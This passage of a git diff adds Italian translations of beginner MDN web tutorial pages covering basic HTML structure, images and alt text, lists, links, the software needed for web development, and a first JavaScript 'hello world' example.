+<h3 id="Elementi_vuoti">Elementi vuoti</h3>
+
+<p>Alcuni elementi non hanno contenuto, e sono chiamati <strong>elementi vuoti</strong>. Prendiamo l'elemento {{htmlelement("img")}} che abbiamo nel nostro HTML:</p>
+
+<pre class="brush: html notranslate">&lt;img src="images/firefox-icon.png" alt="My test image"&gt;</pre>
+
+<p>Contiene due attributi, ma non c'è il tag di chiusura <code>&lt;/img&gt;</code> e non c'è un testo incluso. Questo perchè un elemento immagine non deve avere effetti su un testo. Il suo scopo è quello di aggiungere un'immagine alla pagina HTML nel punto in cui si trova.</p>
+
+<h3 id="Anatomia_di_un_documento_HTML">Anatomia di un documento HTML</h3>
+
+<p>Include la struttura base dei singoli elementi HTML, che non sono tuttavia molto utili da soli. Ora vedremo come singoli elementi sono combinati per formare un'intera pagina HTML. Riguardiamo il codice che abbiamo inserito nel nostro esempio <code>index.html</code> (che abbiamo incontrato per la prima volta nell'articolo <a href="/en-US/Learn/Getting_started_with_the_web/Dealing_with_files">Dealing with files</a>):</p>
+
+<pre class="brush: html notranslate">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;meta charset="utf-8"&gt;
+    &lt;title&gt;My test page&lt;/title&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+    &lt;img src="images/firefox-icon.png" alt="My test image"&gt;
+  &lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>Abbiamo:</p>
+
+<ul>
+ <li><code>&lt;!DOCTYPE html&gt;</code> — Il doctype. Nella notte dei tempi, quando l'HTML era giovane (circa nel 1991/2), doctypes avevano lo scopo di raggruppare un insieme di regole che la pagina HTML doveva seguire per essere considerata buon HTML, come poteva essere il controllo automatico degli errori e altre cose utili. Tuttavia oggi nessuno se ne interessa e sono ormai solo un artefatto storico che necessitano di essere inclusi perchè tutto funzioni correttamente. Per ora, questo è tutto ciò che occorre sapere.</li>
+ <li><code>&lt;html&gt;&lt;/html&gt;</code> — l'elemento {{htmlelement("html")}}. Questo elemento racchiude tutti i contenuti dell'intera pagina, ed è talvolta noto come elemento radice.</li>
+ <li><code>&lt;head&gt;&lt;/head&gt;</code> — l'elemento {{htmlelement("head")}}. Questo elemento fà da contenitore per tutte le cose che si vuole includere nella pagina HTML che <em>non siano</em> il contenuto che si vuole mostrare ai visitatori della pagina. Tra queste ci sono cose come {{Glossary("keyword", "keywords")}} e una descrizione della pagina che si vuole appaia nei risultati di ricerca, CSS per lo stile dei contenuti, dichiarazione del set di caratteri e altro.</li>
+ <li><code>&lt;meta charset="utf-8"&gt;</code> — questo elemento imposta il set di caratteri che il documento deve usare su UTF-8, che include la maggior parte dei caratteri della stragrande maggioranza delle lingue umane scritte. Essenzialmente può gestire qualsiasi contenuto testuale che può essere inserito. Non c'è motivo per non impostarlo, e può evitare di incorrere in problemi in seguito.</li>
+ <li><code>&lt;title&gt;&lt;/title&gt;</code> — l'elemento {{htmlelement("title")}}. Imposta il titolo della pagina, che è il titolo che appare nella scheda del browser in cui è caricata la pagina. E' anche usato per descrivere la pagina quando viene aggiunta ai preferiti.</li>
+ <li><font color="#333333" face="Consolas">&lt;body&gt;&lt;/body&gt;</font><span style="background-color: transparent; color: #333333; display: inline !important; float: none; font-family: Arial,x-locale-body,sans-serif; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; letter-spacing: normal; text-align: left; text-decoration: none; text-indent: 0px; text-transform: none; white-space: normal;"> — l'elemento {{htmlelement("body")}}. Contiene </span><em>tutto</em><span style="background-color: transparent; color: #333333; display: inline !important; float: none; font-family: Arial,x-locale-body,sans-serif; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; letter-spacing: normal; text-align: left; text-decoration: none; text-indent: 0px; text-transform: none; white-space: normal;"> il contenuto che si vuole mostrare agli utenti web quando visitano la pagina, che si tratti di testo, immagini, video, giochi, tracce audio riproducibili o qualsiasi altra cosa.</span></li>
+</ul>
+
+<h2 id="Immagini">Immagini</h2>
+
+<p>Rivolgiamo ancora la nostra attenzione all'elemento {{htmlelement("img")}}:</p>
+
+<pre class="brush: html notranslate">&lt;img src="images/firefox-icon.png" alt="My test image"&gt;</pre>
+
+<p>Come abbiamo detto prima, quest'elemento aggiunge un'immagine nella pagina, nella posizione in cui si trova. E' l'attributo <code>src</code> (source) che fa questo, contenendo il percorso del file immagine.</p>
+
+<p>Abbiamo anche incluso l'attributo <code>alt</code> (alternative). In questo attributo viene specificato il testo descrittivo per quegli utenti che non possono visualizzare l'immagine, probabilmente per i seguenti motivi:</p>
+
+<ol>
+ <li>Sono ipovedenti. Gli utenti con disabilità visive significative spesso usano strumenti chiamati screen reader che leggono per loro il testo dell'elemento alt</li>
+ <li>Qualcosa è andato storto causando la mancata visualizzazione dell'immagine. Per esempio, se si prova a modificare deliberatamente il percorso all'interno dell'attributo <code>src</code> per renderlo errato. Salvando e ricaricando la pagina, si dovrebbe vedere qualcosa di simile a ciò che segue, al posto dell'immagine:</li>
+</ol>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/9349/alt-text-example.png" style="display: block; height: 36px; margin: 0px auto; width: 108px;"></p>
+
+<p>Le parole chiave per il testo nell'alt sono "testo descrittivo". Il testo che viene scrito nell'alt dovrebbe fornire al lettore informazioni sufficienti per avere una buona idea di ciò che l'immagine rappresenta. In questo esempio, il testo attuale "My test image" non è per niente adatto. Un'alternativa decisamente migliore per il logo di Firefox potrebbe essere "Il logo di Firefox: una volpe fiammeggiante che circonda la Terra."</p>
+
+<p>Prova subito a trovare un testo adatto per l'alt delle tua immagine.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Scopri di più sull'accessibilità al link <a href="/en-US/docs/Web/Accessibility">MDN's Accessibility landing page</a>.</p>
+</div>
+
+<h2 id="Marcatura_del_testo">Marcatura del testo</h2>
+
+<p>Questa sezione riguarda alcuni elementi HTML di base che vengono usati per la marcatura del testo.</p>
+
+<h3 id="Intestazioni">Intestazioni</h3>
+
+<p>Gli elementi Intestazioni permettono di specificare che alcune parti del contenuto sono titoli — o sottotitoli. Allo stesso modo in cui un libro ha un titolo principale, titoli di capitoli e sottotitoli, così anche un documento HTML. HTML contiene sei livelli di intestazione, {{htmlelement("h1")}}–{{htmlelement("h6")}} sebbene in genere se ne usino da 3 a 4 al massimo:</p>
+
+<pre class="brush: html notranslate">&lt;h1&gt;My main title&lt;/h1&gt;
+&lt;h2&gt;My top level heading&lt;/h2&gt;
+&lt;h3&gt;My subheading&lt;/h3&gt;
+&lt;h4&gt;My sub-subheading&lt;/h4&gt;</pre>
+
+<p>Ora prova ad aggiungere un titolo adatto alla tua pagina HTML appena sopra l'elemento {{htmlelement("img")}}.</p>
+
+<h3 id="Paragrafi">Paragrafi</h3>
+
+<p>Come spiegato sopra, gli elementi {{htmlelement("p")}} sono usati per contenere paragrafi di testo; verranno usati di frequente per contrassegnare contenuti di testo regolari:</p>
+
+<pre class="brush: html notranslate">&lt;p&gt;This is a single paragraph&lt;/p&gt;</pre>
+
+<p>Aggiungi il tuo testo di esempio (dovresti averlo dall'articolo <a href="/en-US/Learn/Getting_started_with_the_web/What_should_your_web_site_be_like"><em>What should your website look like?</em></a>) in uno o più paragrafi, direttamente sotto l'elemento {{htmlelement("img")}}.</p>
+
+<h3 id="Liste">Liste</h3>
+
+<p>Molti contenuti web sono elenchi, e l'HTML ha elementi speciali per gestirli. La marcatura di liste consiste sempre in almeno due elementi. I tipi più comuni di lista sono le liste ordinate e le liste non ordinate:</p>
+
+<ol>
+ <li>
+  <p><strong>Le liste non ordinate </strong>sono liste in cui l'ordine degli articoli non ha importanza, come in una lista della spesa. Queste sono racchiuse in un elemento {{htmlelement("ul")}}.</p>
+ </li>
+ <li><strong>Le liste ordinate</strong> sono liste dove l'ordine degli articoli ha importanza, come in una ricetta. Queste sono racchiuse in un elemento {{htmlelement("ol")}}.</li>
+</ol>
+
+<p>Ogni articolo all'interno delle liste è inserito all'interno di un elemento {{htmlelement("li")}} (list item).</p>
+
+<p>Per esempio, se volessimo convertire una parte del seguente paragrafo in una lista:</p>
+
+<pre class="brush: html notranslate">&lt;p&gt;At Mozilla, we’re a global community of technologists, thinkers, and builders working together ... &lt;/p&gt;</pre>
+
+<p>Potremmo modificare la marcatura così:</p>
+
+<pre class="brush: html notranslate">&lt;p&gt;At Mozilla, we’re a global community of&lt;/p&gt;
+
+&lt;ul&gt;
+  &lt;li&gt;technologists&lt;/li&gt;
+  &lt;li&gt;thinkers&lt;/li&gt;
+  &lt;li&gt;builders&lt;/li&gt;
+&lt;/ul&gt;
+
+&lt;p&gt;working together ... &lt;/p&gt;</pre>
+
+<p>Prova ad aggiungere una lista ordinata e una non ordinata alla tua pagina di esempio.</p>
+
+<h2 id="I_collegamenti">I collegamenti</h2>
+
+<p>I link sono molto importanti — sono quelli che rendono il web una rete! Per aggiungere un collegamento, si deve usare un semplice elemento — {{htmlelement("a")}} — la "a" è l'abbreviazione di "anchor". Per convertire il testo del paragrafo in un link, seguire i seguenti passaggi:</p>
+
+<ol>
+ <li>Scegliere il testo. Noi abbiamo scelto "Mozilla Manifesto".</li>
+ <li>Includere il testo in un elemento {{htmlelement("a")}}, come segue:
+  <pre class="brush: html notranslate">&lt;a&gt;Mozilla Manifesto&lt;/a&gt;</pre>
+ </li>
+ <li>Dare all'elemento {{htmlelement("a")}} un attributo <code>href</code>, come segue:
+  <pre class="brush: html notranslate">&lt;a href=""&gt;Mozilla Manifesto&lt;/a&gt;</pre>
+ </li>
+ <li>Compilare il valore di quest'attributo con l'indirizzo web a cui si desidera che il collegamento si colleghi:
+  <pre class="brush: html notranslate">&lt;a href="https://www.mozilla.org/en-US/about/manifesto/"&gt;Mozilla Manifesto&lt;/a&gt;</pre>
+ </li>
+</ol>
+
+<p>Si potrebbero ottenere risultati imprevisti se si omettono <code>https://</code> o <code>http://</code>, che sono chiamati <em>protocollo</em>, all'inizio dell'indirizzo web. Dopo aver impostato un link, fare click su di esso per assicurarsi che si colleghi dove desiderato.</p>
+
+<div class="note">
+<p><code>href</code> potrebbe apparire in un primo momento come una scelta piuttosto oscura per un nome di attributo. Se hai difficoltà a memorizzarlo, ricorda che sta per <em><strong>h</strong>ypertext <strong>ref</strong>erence</em>.</p>
+</div>
+
+<p>Ora puoi aggiungere un link alla tua pagina, se ancora non l'hai fatto.</p>
+
+<h2 id="Conclusione">Conclusione</h2>
+
+<p>Se hai seguito tutte le istruzioni di questo articolo, dovresti aver ottenuto una pagina che assomiglia a questa riportata sotto (può essere anche visualizzata da questo link <a href="http://mdn.github.io/beginner-html-site/">view it here</a>):<br>
+ <br>
+ <img alt="A web page screenshot showing a firefox logo, a heading saying mozilla is cool, and two paragraphs of filler text" src="https://mdn.mozillademos.org/files/9351/finished-test-page-small.png" style="display: block; height: 838px; margin: 0px auto; width: 716px;"></p>
+
+<p>Se ti sei bloccato, puoi sempre confrontare il tuo lavoro con il codice di esempio <a href="https://github.com/mdn/beginner-html-site/blob/gh-pages/index.html">finished example code</a> che trovi su GitHub.</p>
+
+<p>Qui, abbiamo solo graffiato la superficie dell'HTML. Per saperne di più, vai al seguente link <a href="/en-US/Learn/HTML">HTML Learning topic</a>.</p>
+
+<p>{{PreviousMenuNext("Learn/Getting_started_with_the_web/Dealing_with_files", "Learn/Getting_started_with_the_web/CSS_basics", "Learn/Getting_started_with_the_web")}}</p>
diff --git a/files/it/learn/getting_started_with_the_web/index.html b/files/it/learn/getting_started_with_the_web/index.html
new file mode 100644
index 0000000000..a079b7905b
--- /dev/null
+++ b/files/it/learn/getting_started_with_the_web/index.html
@@ -0,0 +1,59 @@
+---
+title: Primi Passi con il Web
+slug: Learn/Getting_started_with_the_web
+tags:
+  - Beginner
+  - CSS
+  - Design
+  - Guide
+  - HTML
+  - Índice
+translation_of: Learn/Getting_started_with_the_web
+---
+<div>{{LearnSidebar}}
+<div></div>
+</div>
+
+<div class="summary">
+<p><em>Primi passi con il Web</em> è una breve introduzione alle tecniche dello sviluppo web. Inizieremo conoscendo e impostando gli strumenti necessari per disegnare una semplice pagina web e pubblicare il tuo codice.</p>
+</div>
+
+<h2 id="La_storia_del_tuo_primo_sito_web">La storia del tuo primo sito web</h2>
+
+<p>Creare un sito web professionale non è certo un lavoro breve, se ti approcci per la prima volta allo sviluppo web ti suggeriamo di partire imparando le basi. Non abbiamo la pretesa di creare un nuovo Facebook ma non è difficile pubblicare il tuo semplice sito online; inizieremo da qua.</p>
+
+<p>Seguendo le istruzioni contenute nei successivi articoli vedrai la tua prima pagina web pubblicata. Iniziamo!</p>
+
+<h3 id="Installare_il_software_fondamentale"><a href="https://developer.mozilla.org/it/docs/Learn/Getting_started_with_the_web/Installing_basic_software">Installare il software fondamentale</a></h3>
+
+<p>Quando si tratta di strumenti per lo sviluppo web ci sono molti software utili. Se stai iniziando potresti essere confuso dalla quantità di editor, framework e strumenti per testing che ci sono. Nella sezione <a href="https://developer.mozilla.org/it/docs/Learn/Getting_started_with_the_web/Installing_basic_software">Installare il software fondamentale</a> puoi trovare guide passo-passo su come installare tutti gli strumenti che ti serviranno per iniziare con lo sviluppo.</p>
+
+<h3 id="Che_aspetto_avrà_il_tuo_sito_web"><a href="https://wiki.developer.mozilla.org/it/docs/Learn/Getting_started_with_the_web/Che_aspetto_avr%C3%A0_il_tuo_sito_web">Che aspetto avrà il tuo sito web?</a></h3>
+
+<p>Prima di iniziare a disegnare il tuo sito è meglio pensare a come farlo. Quali informazioni intendi mostrare? Che fonts e che colori vuoi usare? <a href="https://wiki.developer.mozilla.org/it/docs/Learn/Getting_started_with_the_web/Che_aspetto_avr%C3%A0_il_tuo_sito_web">Come sarà il tuo sito?</a> Ti forniamo un semplice metodo da seguire per pianificare la struttura del sito e il suo contenuto.</p>
+
+<h3 id="Gestire_i_file"><a href="https://developer.mozilla.org/it/docs/Learn/Getting_started_with_the_web/Gestire_i_file">Gestire i file</a></h3>
+
+<p>Un sito web contiene molti file con diversi tipi di contenuto: testuale, codice, css, multimediale e così via. Quando si tratta di costruire un sito è necessario assemblare questi documenti in una struttura concreta ed assicurarsi che questi file possano interfacciasi l'un l'altro. <a href="https://developer.mozilla.org/it/docs/Learn/Getting_started_with_the_web/Gestire_i_file">Gestire i file</a> ti spiega come impostare una struttura per il tuo sito e illustra i problemi dei quali essere consapevoli.</p>
+
+<h3 id="Principi_di_HTML"><a href="https://developer.mozilla.org/it/docs/Learn/Getting_started_with_the_web/HTML_basics">Principi di HTML</a></h3>
+
+<p>Hypertext Markup Language (HTML) è il linguaggio utilizzato per strutturare il contenuto web e fornirgli forma e significato. Consente, per esempio, di crere paragrafi o elenchi puntati; permette inoltre di disporre le immagini all'interno della pagina, di inserire tabelle o altri contenuti. <a href="https://developer.mozilla.org/it/docs/Learn/Getting_started_with_the_web/HTML_basics">Principi di HTML</a> mette a disposizione abbastanza informazioni per approcciarsi all'HTML.</p>
+
+<h3 id="Principi_di_CSS"><a href="https://developer.mozilla.org/it/docs/Learn/Getting_started_with_the_web/CSS_basics">Principi di CSS</a></h3>
+
+<p>Cascading Stylesheets (CSS) è il tipo di codice utilizzato per aggiungere lo stile al sito. Per esempio, preferisci che il testo sia rosso oppure nero? Dove dovrebbe essere posto il contenuto sullo schermo? Che immagini di sfondo o colori dovrebbero essere inseriti per decorare la tua pagina? <a href="https://developer.mozilla.org/it/docs/Learn/Getting_started_with_the_web/CSS_basics">Principi di CSS</a> ti illustra le basi necessarie per iniziare.</p>
+
+<h3 id="Principi_di_JavaScript"><a href="https://developer.mozilla.org/it/docs/Learn/Getting_started_with_the_web/JavaScript_basics">Principi di JavaScript</a></h3>
+
+<p>JavaScript è il linguaggio di programmazione usato per aggiungere contenuto interattivo al tuo sito, come giochi, cose che accadono alla pressione di un pulsante o all'inserimento di informazioni in un form, effetti di stile dinamici, animazioni e molto altro. <a href="https://developer.mozilla.org/it/docs/Learn/Getting_started_with_the_web/JavaScript_basics">Principi di JavaScript</a> fornisce un'idea di cosa sia possibile fare con questo interessante linguaggio e di come iniziare.</p>
+
+<h3 id="Pubblicare_il_tuo_sito"><a href="https://developer.mozilla.org/it/docs/Learn/Getting_started_with_the_web/Pubbicare_sito">Pubblicare il tuo sito</a></h3>
+
+<p>Una volta completata la scrittura del codice e organizzati i file che compongono il tuo sito è ovvimente necessario porre il tutto online, così che le persone possano trovarlo ed apprezzarlo. <a href="https://developer.mozilla.org/it/docs/Learn/Getting_started_with_the_web/Pubbicare_sito">Pubblicare il tuo sito </a>descrive come compiere questo processo in modo facile e col minimo sforzo.</p>
+
+<h3 id="Come_funziona_il_Web"><a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/How_the_Web_works">Come funziona il Web</a></h3>
+
+<p>Quando accedi al tuo sito preferito, accadono una serie di complicati processi in background, dei quali potresti non sapere nulla. <a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/How_the_Web_works">Come funziona il web</a> spiega quello che accade quando visualizzi una pagina sul tuo computer.</p>
+
+<p>{{Next("Learn/Getting_started_with_the_web/Installing_basic_software")}}</p>
diff --git a/files/it/learn/getting_started_with_the_web/installing_basic_software/index.html b/files/it/learn/getting_started_with_the_web/installing_basic_software/index.html
new file mode 100644
index 0000000000..8f4871eb46
--- /dev/null
+++ b/files/it/learn/getting_started_with_the_web/installing_basic_software/index.html
@@ -0,0 +1,54 @@
+---
+title: Installazione di software fondamentali
+slug: Learn/Getting_started_with_the_web/Installing_basic_software
+translation_of: Learn/Getting_started_with_the_web/Installing_basic_software
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{NextMenu("Learn/Getting_started_with_the_web/What_will_your_website_look_like", "Learn/Getting_started_with_the_web")}}</div>
+
+<div class="summary">
+<p>In questo articolo, ti mostriamo come eseguire l'installazione di tutti i software necessari per iniziare con lo sviluppo web.</p>
+</div>
+
+<h2 id="Quali_strumenti_utilizzano_i_professionisti">Quali strumenti utilizzano i professionisti?</h2>
+
+<ul>
+ <li><strong>Un computer</strong>. Certo, potrebbe sembrare ovvio, ma alcuni di voi staranno leggendo questo articolo su un telefono o sul computer della biblioteca. Per iniziare seriamente con lo sviluppo web, sarebbe meglio investire in un computer di tuo possesso, con un qualsiasi sistema operativo (Windows, Mac, o Linux).</li>
+ <li><strong>Un editor di testo</strong>, dove scrivere il codice. Si possono utilizzare editor di testo (es. <a href="http://brackets.io/">Brackets</a>, <a href="https://atom.io/">Atom</a> o <a href="https://code.visualstudio.com/">Visual Studio Code</a>), oppure un editor ibrido (es. <a href="https://www.adobe.com/products/dreamweaver.html">Dreamweaver</a>). Editors per documenti da ufficio (es. Word o OpenOffice) non sono adatti allo scopo, siccome fanno affidamento su elementi nascosti che interferiscono con i motori di rendering usati dai browser web.</li>
+ <li><strong>Web browsers</strong>, per testare il codice. Al momento, i browser più utilizzati sono <a href="https://www.mozilla.org/en-US/firefox/new/">Firefox</a>, <a href="https://www.google.com/chrome/browser/">Chrome</a>, <a href="http://www.opera.com/">Opera</a>, <a href="https://www.apple.com/safari/">Safari</a>, e <a href="http://windows.microsoft.com/en-us/internet-explorer/download-ie">Internet Explorer</a>. Dovrestii anche testare il tuo sito su dispositivi mobili e sui vecchi web browser che i tuoi visitatori potrebbero ancora usare (come IE 8 - 10, ad esempio).</li>
+ <li><strong>Un editor grafico</strong>, come <a href="http://www.gimp.org/">GIMP</a>, <a href="http://www.getpaint.net/">Paint.NET</a>, o <a href="https://www.adobe.com/products/photoshop.html">Photoshop</a>, per creare immagini da usare nel tuo sito.</li>
+ <li><strong>Un version control system</strong>, per gestire i file sui server, collaborare ad un progetto con un team, condividere assets e codici, ed evitare conflitti di modifica. <a href="http://git-scm.com/">Git</a> è attualmente il version control system più utilizzato, ed inoltre il servizio di code hosting fornito da <a href="https://github.com/">GitHub</a>, basato su Git, è molto popolare.</li>
+ <li><strong>Un programma FTP</strong>, usato su degli account di webhosting più vecchi per gestire i file sui server (<a href="http://git-scm.com/">Git</a> sta pian piano rimpiazzando FTP per questo motivo). Esistono diversi programmi (S)FTP disponibili come ad esempio <a href="https://cyberduck.io/">Cyberduck</a>, <a href="http://fetchsoftworks.com/">Fetch</a>, e <a href="https://filezilla-project.org/">FileZilla</a>.</li>
+ <li><strong>Un automation system</strong>, come <a href="http://gruntjs.com/">Grunt</a> o <a href="http://gulpjs.com/">Gulp</a>, per compiere automaticamente attività ripetitive, ad esempio minimizzare il codice ed eseguire test.</li>
+ <li>Templates, librerie, frameworks, ecc., per velocizzare la scrittura di funzionalità comuni.</li>
+ <li>Ed anche altri strumenti!</li>
+</ul>
+
+<h2 id="Di_quali_strumenti_ho_bisogno_in_questo_momento">Di quali strumenti ho bisogno, in questo momento?</h2>
+
+<p>Sembra proprio una lista terrificante, fortunatamente puoi iniziare ad occuparti di web development senza sapere nulla di molto di ciò elencato. In questo articolo ti mostreremo quali sono gli strumenti indispensabili per incominciare — un editor di testo e qualche browser web moderno.</p>
+
+<h3 id="Installare_un_editor_di_testo">Installare un editor di testo</h3>
+
+<p>Probabilmente hai già un editor di testo di base nel tuo computer. Windows ha <a href="https://en.wikipedia.org/wiki/Microsoft_Notepad">Notepad</a> di default mentre macOS ha <a href="https://en.wikipedia.org/wiki/TextEdit">TextEdit</a>. Le distro Linux variano; Ubuntu ha <a href="https://en.wikipedia.org/wiki/Gedit">gedit</a> di default.</p>
+
+<p>Per il web development, puoi probabilmente avere di meglio che NotePad o TextEdit. Noi raccomandiamo di iniziare con <a href="http://brackets.io">Brackets</a>, un editor gratuito che offre anteprime live e suggerimenti sul codice.</p>
+
+<h3 id="Installare_browser_web_moderni">Installare browser web moderni</h3>
+
+<p>Per adesso, installeremo solamente un paio di browser web per desktop per testarci il nostro codice. Scegli più sotto il tuo sistema operativo e clicca sui relativi link per scaricare il file d'installazione per il tuo browser preferito:</p>
+
+<ul>
+ <li>Linux: <a href="https://www.mozilla.org/en-US/firefox/new/">Firefox</a>, <a href="https://www.google.com/chrome/browser/">Chrome</a>, <a href="http://www.opera.com/">Opera</a>.</li>
+ <li>Windows: <a href="https://www.mozilla.org/en-US/firefox/new/">Firefox</a>, <a href="https://www.google.com/chrome/browser/">Chrome</a>, <a href="http://www.opera.com/">Opera</a>, <a href="http://windows.microsoft.com/en-us/internet-explorer/download-ie">Internet Explorer</a> (Windows 10 contiene Edge di default; se hai Windows 7 o superiore, puoi installare Internet Explorer 11; altrimenti, dovresti installare un browser alternativo)</li>
+ <li>Mac: <a href="https://www.mozilla.org/en-US/firefox/new/">Firefox</a>, <a href="https://www.google.com/chrome/browser/">Chrome</a>, <a href="http://www.opera.com/">Opera</a>, <a href="https://www.apple.com/safari/">Safari</a> (maxOS e IOS contengono Safari di default)</li>
+</ul>
+
+<p>Prima di andare avanti, dovresti installare almeno due di questi browser e assicurarti di averli pronti per il testing.</p>
+
+<h3 id="Installazione_di_un_server_Web_locale">Installazione di un server Web locale</h3>
+
+<p>Alcuni esempi dovranno essere eseguiti da un server Web per funzionare correttamente. Per informazioni su come eseguire questa operazione, vedere Come si configura un server di prova locale? (<a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/Common_questions/set_up_a_local_testing_server">How do you set up a local testing server?</a> )</p>
+
+<p>{{NextMenu("Learn/Getting_started_with_the_web/What_will_your_website_look_like", "Learn/Getting_started_with_the_web")}}</p>
diff --git a/files/it/learn/getting_started_with_the_web/javascript_basics/index.html b/files/it/learn/getting_started_with_the_web/javascript_basics/index.html
new file mode 100644
index 0000000000..bb12f8680e
--- /dev/null
+++ b/files/it/learn/getting_started_with_the_web/javascript_basics/index.html
@@ -0,0 +1,402 @@
+---
+title: Basi di JavaScript
+slug: Learn/Getting_started_with_the_web/JavaScript_basics
+tags:
+  - JavaScript
+translation_of: Learn/Getting_started_with_the_web/JavaScript_basics
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Getting_started_with_the_web/CSS_basics", "Learn/Getting_started_with_the_web/Publishing_your_website", "Learn/Getting_started_with_the_web")}}</div>
+
+<div class="summary">
+<p>JavaScript è un linguaggio di programmazione che aggiunge interattività al tuo sito internet (per esempio: giochi, risposte al premersi di un bottone o inserimento di dati in moduli, stili dinamici e animazioni). Questo articolo ti aiuterà a iniziare il tuo percorso in questo fantastico linguaggio dandoti un'idea di ciò che è possibile costruire (spoiler alert: molte, molte cose).</p>
+</div>
+
+<h2 id="Cosè_JavaScript_davvero">Cos'è JavaScript, davvero?</h2>
+
+<p>{{Glossary("JavaScript")}} ("JS" per i fan) è un {{Glossary("Dynamic programming language", "linguaggio dinamico di programmazione")}} che, quando applicato a un documento {{Glossary("HTML")}}, può dare interattività dinamica al sito web. Fu inventato da Brendan Eich, co fondatore del Mozilla project, Mozilla Foundation e Mozilla Corporation.</p>
+
+<p>JavaScript è incredibilmente versatile. Puoi iniziare dal piccolo, con slider (carousel), gallerie di immagini, layout fluttuanti, risposte al premersi di un bottone. Con più esperienza sarai in grado di creare giochi, grafiche animate 2D e 3D, applicazioni con database e molto altro!</p>
+
+<p>JavaScript è un linguaggio abbastanza compatto ma comunque flessibile. Gli Sviluppatori hanno scritto una grande varietà di plugins e snippets di codice da inserire sopra al linguaggio nativo che è il cuore di JavaScript, aprendo alle potenzialità e alle extra funzionalità del linguaggio, diminuendo gli sforzi. Queste includono:</p>
+
+<ul>
+ <li>Application Programming Interfaces per il Browser ({{Glossary("API","APIs")}}) — Le API all'interno dei web browsers regalano funzionalità come la creazione dinamica di HTML e stili CSS, la collezione e manipolazione di streaming video dalla webcam dell'utente o la generazione di grafiche 3D o di audio. </li>
+ <li>API di terze parti permettono agli Sviluppatori di incorporare funzionalità nei loro siti da altri providers come Twitter o Facebook.</li>
+ <li>Framework e librerie di terze parti possono essere applicate al tuo HTML per permetterti di costruire siti e applicazioni più rapidamente.</li>
+</ul>
+
+<p>Questo articolo vuole essere una leggera introduzione a JavaScript, non andremo a confoderti parlando dei dettagli e delle differenze tra il linguaggio nativo di JavaScript e tutte le varie librerie e framework che sono state costruite. Potrai imparare più in dettaglio nell'<a href="/en-US/docs/Learn/JavaScript">area di apprendimento JavaScript</a>, oppure nel resto di MDN.</p>
+
+<p>Sotto introdurremo alcuni aspetti del linguaggio nativo e potrai giocare anche con alcune delle API del browser. Divertiti!</p>
+
+<h2 id="ciao_mondo">"ciao mondo"</h2>
+
+<p>Quanto scritto sopra potrebbe sembrare eccitante, e dovrebbe — JavaScript è una delle tecnologie più vivaci e iniziando a usarlo, i tuoi siti si apriranno a nuove dimensioni di potere e creatività.</p>
+
+<p>Ad ogni modo, JavaScript è un po' più complesso di HTML e CSS (che non sono propriamente linguaggi di programmazione, bensì di markup e di stile). Puoi iniziare con piccole cose come questa qui sotto. Iniziamo con l'aggiungere del JavaScript di base alla nostra pagina creando un esempio "ciao mondo" (<a href="https://en.wikipedia.org/wiki/%22Hello,_World!%22_program">lo standard negli esempi base di programmazione</a>).</p>
+
+<div class="warning">
+<p><strong>Importante</strong>: Se non hai seguito il resto del corso, scarica questo <a href="https://github.com/mdn/beginner-html-site-styled/archive/gh-pages.zip">esempio</a> e usalo come punto di inizio.</p>
+</div>
+
+<ol>
+ <li>Per prima cosa andiamo dove abbiamo salvato il nostro sito di test e creiamo una nuova cartella 'scripts' (senza gli apici). Poi al suo interno creiamo un file e chiamiamolo <code>main.js</code> (questo file è uno script di JavaScript).</li>
+ <li>Poi, nel tuo file <code>index.html </code>inserisci questo elemento in una nuova riga prima del tag di chiusura <code>&lt;/body&gt;</code>:
+  <pre class="brush: html notranslate">&lt;script src="scripts/main.js"&gt;&lt;/script&gt;</pre>
+ </li>
+ <li>Praticamente stiamo facendo quello che avremmo fatto per un file di stile CSS con {{htmlelement("link")}} - applichiamo il JavaScript alla pagina così che possa avere effetto su questa (e così anche sul CSS e qualsiasi altra cosa sulla pagina).</li>
+ <li>Ora aggiungi questo snippet di codice al file <code>main.js</code>:
+  <pre class="brush: js notranslate">var myHeading = document.querySelector('h1'); // Seleziono tutti i tag h1
+myHeading.textContent = 'Hello world!'; // Cambio il testo</pre>
+ </li>
+ <li>Assicurati che i file HTML e JavaScript siano salvato e carica index.html nel browser. Dovresti vedere qualcosa di simile:<img alt="" src="https://mdn.mozillademos.org/files/9543/hello-world.png" style="display: block; height: 236px; margin: 0px auto; width: 806px;"></li>
+</ol>
+
+<div class="note">
+<p><strong>Note</strong>: Abbiamo inserito l'elemento script sul fondo della pagina HTML perchè l'HTML carica in ordine lettura, in maniera sincrona. Se il JavaScript venisse caricato prima e non in fondo alla pagina, potrebbe causare dei problemi in quanto sarebbe caricato prima dell'HTML su cui lo script lavorerebbe, ma non sempre è così. Di solito è buona pratica, anche per i tempi di caricamento, inserire il JavaScript a fine pagina HTML, ma ciò può cambiare a seconda delle necessità.</p>
+</div>
+
+<h3 id="Cosè_successo">Cos'è successo?</h3>
+
+<p>Il testo nell'elemento <code>h1</code> è stato cambiato in "Hellow world!" usando JavaScript. Lo hai fatto utilizzando una funzione chiamata <code>{{domxref("Document.querySelector", "querySelector()")}}</code> per prendere un riferimento del tuo elemento <code>h1</code> e poi salvando l'elemento in una variabile chiamata <code>myHeading</code>. Questo è molto simile a quello che abbiamo fatto con i selettori CSS. Quando vogliamo fare qualcosa con un elemento, dobbiamo prima selezionarlo.</p>
+
+<p>Dopo aver selezionato l'elemento e averlo inserito nella variabile <code>myHeading</code>, hai cambiato la proprietà <code>{{domxref("Node.textContent", "textContent")}}</code> , una proprietà che fa parte nativamente degli elementi HTML grazie alla <a href="/en-US/docs/Web/API/Document_Object_Model">DOM API</a>, in "Hello world!".</p>
+
+<div class="note">
